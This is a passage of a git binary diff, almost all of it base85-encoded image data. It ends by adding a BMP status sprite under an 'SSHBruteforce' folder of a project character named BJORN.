zIc2YK$XsTZqG5&pNDuqzDww%suCU3{vcqXPc)z0&zrd`)DWt^>(cpl>uW-PAVh}yY z1Uq|G`ZA}?6&^8a7IA78=_}mg)XcDRjNq%#8G4?xbY502D@)7AH0__qy0N}tjL;A} z$E?dG4zK_pf{qJG4}@FcDi1iz(sD{&WaImW=Gxb^JYQWF`0lb44I3B?*f}QFzn?c3 zm2^{9bd-~GK_H!Ek?u-LuJTBCd88{6=^zJpS5|P5M>xpIcq%En$s^t5<&6bJjRb^w zzq^2U^8WDQ1MwI$)@QSl-DYuaF(*DX!q>m9sJuL%{KrL!^So|KcJ^`>LZ?}|{z(J*k%8kY8iv382tCgn<>HYW8k!Rn z?bbz>im@&U31<3IPw4xy%8lC9%p~<>o&{$M~1Cy#I5B z?QcILXhpC(UjF*N1VfCsnv?8hh$52&(_ep?4 zvhvn)3I@Uw+5%!$a!N*`aP@0YbGW=E9BCnoydf?N{D%D>=e5NY=iZW6+#>_`53nYN zL_@FgJ(`-X?c8>;8Rh$40CAa1k?|UcMUH=55IjRKevy^?Ya0Gj%pyN?(^H+1ql4o0 zQFvV+jBOakGSFYo2czSOH}H|A6V??_#Tobr{>UNE$my@EZV#7nltbFXkq$BlducgG z8HAHG++Iq`L0Z}wj&PKbbA%(DW#yb?WO16R*5c9}fBz{O7Ya;!^d$9ptoy|6&23`^ zbzgMYD3SPJaG!wNk)+drouLys!@&9F1&)8vuzz)d{mb)W)O_9=t_DJCLO-&jwLSgx ze6ZFb=)gj>UoO@v7-#B-(?_`~**eNw2buaA32RASV0KnO1Y&IR%Y9RF>{7BFQ?eY= zvfZ-s@OO&>^NI;s`JNfMu4y?S-##tV(?vzuO-@$+3Y&$Z{@&i+(VqNytVH7K(yE3C zG9kTWcy})4nSkEaWIqQJXK86I4gn=jv5#(iIPd4OZf|Z`T-Voz zYnUqPb9{AyKG-2`<6} z0?;CCa3MCd7>`cJ==oxFeDHcGFLf7z(~P!~GB_vGmY4q3eRiF5spFdslRHgaGZjf0 z*zA&!p_TjN+x27HEuD**Et4Mc;m&~7L_kD>hT~wlJ&g8qS%JPVFMnF9Z(0BH6ZbcC z>|b4C{rg2zsE)rO8msH&h_D2%3k(KkB8;vV8dy%(2kViD2`R<~7GOz6Ed;C>3a(QO zTH6b2d&>`%CQ2haRs~xZ!SS=dgs+-ztEUSz0bTIaHGi&M2n*2~dw$s?V znpfGSm0O5$k(0B6iHZNrl#`Ho7$qhD53oKguVek@g1`?f=HmLS|Gc2aiSReTV6;6k zI$n6-t~%Zr6F;<1imz=LR?`D(9SY0|KyiRIFdrM3hYiXnnKq;dPsqiX2cq%WelgWZ zL3LF&Zu{$swe8_e6CRU04LvjWw4}uY18v_DTc$rWVZ6=tkdl2%Rg=39t2?zzAG&#{ zsoF_MN?%~aJNW$DSbLsz@=-I`!cD!@ogrsAywzQCx+she3ajIT)$+m^V$t{lBy)+!_X!K;!uH}tg z>x|>$d8gJ{r zy-A1{9(JC`Umt_j_r)0dVYIz*hB&g*7UL~LvEC_Uqy8GVfP_vK()vo4kF0>3JS~%k zC#VQ|iQh(C{3cQ^2xS+FvJFMqgrKZ}g!$TpqO3xFEkn>2p*ZUh99W+%!w6PRMruw7 z8A}l{$f-*S!7+gKupPz8?Yg_OyR*Hc!Y8f8qew8oqD}pMebcb|XpCdDZ*UPhxESx1 zg7MD<)*{(2-~bV%flC(w6N1H+w8RFG1QT3? zN1Q&&zt#Gu&xr0mtDl|L_D zfifKl1rrf1S4BHFB?r8Y59a1AU{^G7Lg2K(MM-}9f2`P`V*l_;LPQl1d_)B{xEM@8 z{*hJwk(D5g4KDGEsPqr7@{gzllQ5aS$Ty$}7g|n;stO=UbwG3_0Z3F8!7)0(2um=+ zg_#E_GKizCU5~)}WYGzI7(}YAhOq`0BFMxK3zkwXFYL{542hNEmcV8d*Cm+~8&rY` zD$%>{AbU+o5vF6L?cw8}izeh+n4ql9@qo+|ovx?qC=bz+y{2rc=Zy_51J(sr2gdd# zkOa5__=*ZD@D0cX69bs)(OO<$$0BBlXJ^_WeuzP_qwZZWZz!})aKcYG`u1CvxGM%td}3K4p1UNjMiGBDo1@z=f3u#MTDI-4BSa#e|l56AFERuY?p~ zEQ3i~6m4&C?+ZK2l^&Hqf;h(Gh|glBTvU};0z1dyr-#CUl~vmZ>z?2nR1_Ff6QAA~ z5mDgh6NB*x55V3Di!2R^D6-af<~z$`Zios*rQyv8j+(C5Igv_Swu+qQYP3X3TZxmDngj>EX$^7D<4j4p~xZvqaF3M#}oMBy}j@CImZYNCwv?tcr&wS}oWFmZ7^^HHrVfqH@bk|N2rIQR^0K$Y2ZWd5aoK46U2IsHFdZ~D zx!BVUC&dnK2zBjEoZM`DtaWX4WK{IvT45pSQK=0W-*lX9WS~Wm2}Dzvnl&#WbEv!j zckfw$Jq*WVrOe`e9o?+oQ?q|XBlrWeJUxtHN3KuY-NhlkkK93 zA`a~k%bL4$DqCxxcJ(i;yja{XYg~$s&lhJF@pSgPmC}GgrDF9^Vn1^WpJ8YC>rWz= zIcKM5NHj-2dO5&79xGYh{)gS&jOawc^K4csj*cp>XkDzocbb!16#rT1-HM5lYGP{Y ze*Eo6l0u@)Ur}>?cSRGaS=!V+wnt3LDVO3By%m`k9-fKdl~jXiszB6~Ac)(EWjO3@ zX>PHS#^)nD#Ejy4d6*pg*EG!ETu_oxNKPF{N#3h!BE}>><~t|ggU`Ub-0{}*ankTK zk~I^#%vD`je!y{@#IadP%E%MJ?Z9xJvn(DCQT`rD1dkLYacy})o94m&$K!i>6=VEY zc;Os^&`a!B|LY75)jyE}(ruG7!`u6bS*2YJ-y{2h}IF2?X!-n>X;> z)QrU$cMrOB98gf_M6AE)BshApouc>fOb8Axkz^9rM+SGy6Nf$!{rqAtQ+=b%DKHoF$L`rZ?}mq;?OMtm{5(X+JOzeXI{Ci>%|FH(IC zF1bYYoeYx@oJENCzrRn&C>i-cY#rN2^4TasRYSw?+1(6bJWZVzbsO~Mu>H|5-Tdw6 z30W!Xw>G!DOzog_LWEnzVvJ%&O3^RoiTxWyM{6`a)oJ=K&M^M>PkK_y+F}YX;=CZ4(0m z?f^s5|JNBiP1Cj2cMG%gx}u5+=@kR(L@*d6&;?@mN8J7H`H!qG=Jp3Sh&Wt~y|(Gb z`}OIUuhn4)poH=7XOpt;0oK+LqMU%ElDIm8|GKZG6R8g;Sym7F{JE^)ZYL=?hVy^u zxxZ)7L&Q9NP3(P7Z0Mg9V;BC3>Mu?@X73i4yIR{k%spDir@NOwf>Kz!=7|8b>lapF z-QE>qZTqmdrN_&m;knmuHDPi;QhlK!dj08}Rg&61B9hmY=SN2F(+u}=iVymJ(!^)6 zE-fs%8ri@uaIk$zO;7c`u5@h62(f2qaPP>g;_-GAczr zI`ABDX<{e&3=))d&k8ZCv=QTkvs5w=zQSg#ZTfIvw10EIZ)30KDG|x#Mo;xESnk9w z^8~tKKoFf26x2ThCLF5D}+Pkh)ztRLJiX&NtX z>U;8Lt#_T+y-EbQeL&Vo(*K^=w@MN)C6O|LfC{TbV0%!xWpbh5VQ*RM%f_Mox(;GN z4KXwSLwL}8IEytM)pyK)J8!^;;5>8bQGFBW`+sC^sx7UOzH%+b+RIQ7DSn=d_d6zm zAH-l6_2oD`)nG9u*Gue7pZK_p24JVdf@Wi4mlKlTr)F+s=56N`?&Oy2-Ywn9DcQMO zypvt9lW}(|HDf&?X)P*xDKub)fSLAm8nQ8NHB>B6fri6bouSlP;5X}Q-!VyFiJKwl6+@kcwFQn`yG3qSS!~EGv{zK7p#VBWfpGk5`M$!_D#4gh5we?ofiL|f_Ft~x$ zF+yqR`Dp6k^bNJRg^dKo@cM?{>e?U^6a^TX-!i}HuA~)Z>6GDx%f$thhKAQCB~?bp zIw5pSp~z@!H?)cYPR%&l$`yK^{nf-2iSu|{!-EkyDJ%KHwuV-|bM&dMm=FW&KwWc` zs*#zDy0wh@!_4^pmcs6bc|8yFyC3A)A(VA_#ET+B1{+IyYV&&P@_MQZ2!@u(OV{Kt z^Tj*4_uVh-zMt1sn>W~0nvC{QXN92j^aq-Ydw_=eyusF@;;3LtDRmQx>o{$5KP{68 zGy5njSN2iC}+kzdWlzOA^8H)kPIn5qoJhyw;5rFWenZzw+R? z!TPe1w$g#7g5HMQ?uU1yT^(>n=9S4|JrD1;*JSiJ=f!$D!_KpLXqnxV*A_j`nir1m zZOm=2&giMn&5QIy8{A07y7x8Zfy)P)3rC-p_f!`b`bXXN#3#9-QL2Wv5~@gg0rsyh znks8GRMZ_9?3jt;u~I;%MqipJsLSvQYszX!&~Q1)>Rx9Mft+GgViCR}s_3Mo7vqD! zmzL37TKw#OWp_(m-{ZQ@#)`4_ha*pGflT!_+>HzsImezB8jm%17Qe(*my# z!$w3|!}v=c1Q64HUJX4Nm6dKIS{k5N_(4=|YgFXSU?q2 zS%r1^#8f#UN~}W4Y*2MxNlgK`E>uAWrlcpTY$&c`B&nt^uEO%wg;;DTcoVc6WFGVMIQ$ju68E*wq z2CShbH}Tr0d4af!*xb3ZNU|d~K+8t*EGJgW%u87}-pQ#j%&#gTvNR&#d0EP6OW{ys-bhoyNOR#( zbHU5@dydMQu7yy4cO*4*1=kwN!vM-+tO zBCKzEtLS?w8%Uky3O9DSZR;a@i5Km3r=)Z|C$p!#Y^;5BPE$_JNKS2Yee-v%`+Kb5 zH!5>w9Syij$M{Nd{&0SFf8pJMqP&slkZM_4p%_cIWP7waGt3I6Owch4F|o`K!ZhTh z_O>)MWF~Y~XZGID?y1e{uFLMM$sB4abWqaB4#tnRl>>=%cEXw50C1hPSzUG6UA0-g z5ASx|ORLXG?rm+XNs7x2K;v~xf($Hmxg?GGQ(MpsQnS6xEfuk0c?6#flov+TFv!4K@*+nj4qp`= zY=BE!>$kFT*EX5b@O$#3b*;uLpQ)9!CB9C_AYAfl9*kUdW%jx23Aw7$yA>dwF0cQ?JaV`R8axb?K&H;JU^}6uxU}4TcNq&Fl*vixnable~y-RF-(y729 zIo92=JTun&yhG$7Td0Low6$|xYJ3(3-H@F=+1){DdF%bkNLv*MO56=II|UVcq?Q>> z!2l)`<>n0Hc>G2E&NeC9KJ4s{Jbzqy=XQR8e0eSL&ZW_S`seJnOiO<1PmVbj3Vr={T`wFy!AK_PEP!8<{u z?W>+vZlBjZ#mmB*pxAyB>UuS3Z+;4gt zc`HegQ*3JkxX7nhpTk+J3(BA@ob`_<3iC!Ps>UbQKTK_rK!IHsiNsf9Qy6=9u}i!n zG@SM2wL6>Z4~p~jVKPjoepbIGo=pgjuyn$ynT&LFAE3-nb_d_I_R!LQ)lo6}sKi`W zIoZ#9`R&+2g|@2u-U>Q#4jw5OKPh@%mhaD7E2uqrP`$Uin-iNN_%o{n-L*)3(A@08 z+#VTsllW>I#O_vc@gP`*%Br3TTw*%ncJFZ3c>f4FUdfi{vv;!xo((PmhnXaS?t^#G zpSM1f;uO@BkX7ImWBC%?lF5T-PtXf&{;uBbO>Ks7b&)G<>7loB384w@n89Z+w$|4d z-b{@>e~=a8ugNEgF}Z;@zM;k=UY!;TW}KC|nT@rz_J@tJj^0HP(J{W5Yt;0vMz+ry z9y=OXLa15oG>wrQFz`@9ML=4KU*fum^ytv&EGe4yL6@d>iA~Sn=H(7OXdV@2<*Fe+ zH2&n`b2w|T8%{-3x%t^#QQ^?=>h8-e66?$!akzU>f{iy6OITZZ_j+RLc3^}tT!Y|( z8tm$$_|CiKl?ZgO04 zI#g=r?c6koDKK;FfL|Kk=jRVKJbo$0DO8Z011>xvYnYecbrHp;C$p6`lM`E{5d;pr zyuEF!Y3yU+c;I*-@nQE9{~Xl)wA1Xmt{4lCqpo>rT2@nzHvxWrFodi6yP#I~_DH?jB95-@ zm6eY@Y?&0};xA6m1DBkTHRV>EEU#G8lj-XFQThPl@%<%nMm{+XSfCra z|Ha4PKDeBsYy1F|_W(~xJ+H0ABo#(GxK019+6|_IvHzaU@xhN$q%nL2c z3w=99dAvYYa8U1Pb>vd;DuXrznUPThmRrEu|7QJu<8(rN4w6j-JWW4L!KYY3UC=KO z7W(4K{+N)awz=+?t6)_Fb`A6ow^B3M-T6d-9@fIge4vp$LJ_zC6+sy}Hb`-LE+{(D z52y!CEX^&d3BWUQO2JkYtn`n2=33k5ZOv@F%%`%#pjL8ttcryE)86^! z=QBVh7{v7KQZ;_*rFpQze&#Xz`mF#BvofFbaqhwnYh!Y76wV-A+x+b9KJoQ7@nP%h zM=vI&ScU3JD-XK_k%Ba3m{OF9~iw zno`PxZ#Ft6R)J|>Z*1zxYeo7JNIgB|^{`KN@n17P2b9z(DHa?xO`WVX&T71rdqjM4esk$1ZwWaFZel{mz9wzq-WeYRM`sdGj zr?-f}XL_gJ!kBr%9vF1$GrN2g&QWEQ<`M!T$Oxa9`Qnp4r{gmeD}lIPZP<^j-14X8^#< z=-Z}>ny&WV;7#}0<#(n^nu81-ihCTo4v6jJ@l|?uVkPhf)jzFGr61 z9Qqht`TZ*35ew`JPg~E>!qSSRiXKuB_HuLrTz1S*Isq$blIwojA<#Z`S-6-9`|t1Wm@ngo^udsZX3hPkHUb%=}+LLI!xd}!@M3Qod$pkn^bEVzFL zBinMn@gVcxnxJ@TQARF85E_OetdpN`owUW1vr=9x0*!;o`J}D=!TP|H7iPeAhIAY= MMk$pkXDX`y1>|%o=Kufz literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce7.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce7.bmp new file mode 100644 index 0000000000000000000000000000000000000000..13eaf41032aae5998046ee299b9ec66bc2182c67 GIT binary patch literal 18462 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 